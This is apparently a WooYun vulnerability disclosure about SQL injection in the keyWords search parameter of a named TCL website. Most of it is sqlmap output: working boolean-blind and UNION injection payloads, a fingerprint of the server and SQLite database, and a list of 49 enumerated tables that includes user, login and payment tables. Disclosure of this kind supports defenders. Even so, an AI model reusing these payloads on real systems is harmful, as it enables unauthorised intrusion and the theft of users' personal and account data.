WooYun.org

地址：http://bjd.tcl.com/ 搜索处keyWords参数未过滤导致post注射

输入a' and 1=1报错

---
Place: GET
Parameter: keyWords
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: keyWords=a%' AND 8448=8448 AND '%'='
Type: UNION query
Title: Generic UNION query (NULL) - 27 columns
Payload: keyWords=a%' UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, ':qoj:'
||'pOHwqZoKJb'||':xgz:', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, N
ULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL--
---
[00:14:28] [INFO] the back-end DBMS is SQLite
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: SQLite
Database: SQLite_masterdb
[49 tables]
+-------------------+
| Bs_Ad |
| Bs_AdKind |
| Bs_Area |
| Bs_Brand |
| Bs_EmailList |
| Bs_Gift |
| Bs_GiftApply |
| Bs_Ip |
| Bs_Job |
| Bs_Links |
| Bs_LinksKind |
| Bs_Msg |
| Bs_News |
| Bs_NewsKind |
| Bs_OnLine |
| Bs_Orders |
| Bs_OrdersDtl |
| Bs_OrdersMsg |
| Bs_OrdersTH |
| Bs_ProComments |
| Bs_ProFav |
| Bs_ProKind |
| Bs_ProProperty |
| Bs_Products |
| Bs_Reserve |
| Bs_Resume |
| Bs_SendLog |
| Bs_Session |
| Bs_Template |
| Bs_TemplateKind |
| Bs_User |
| Bs_UserAccountLog |
| Bs_UserGrade |
| Bs_UserScoreLog |
| Sy_Code |
| Sy_Config |
| Sy_Control |
| Sy_Deliver |
| Sy_Log |
| Sy_Login |
| Sy_Menu |
| Sy_Ou |
| Sy_Pay |
| Sy_Role |
| Sy_RoleCtrl |
| Sy_RoleMnu |
| Sy_User |
| Sy_UserRole |
| sqlite_sequence |
+-------------------+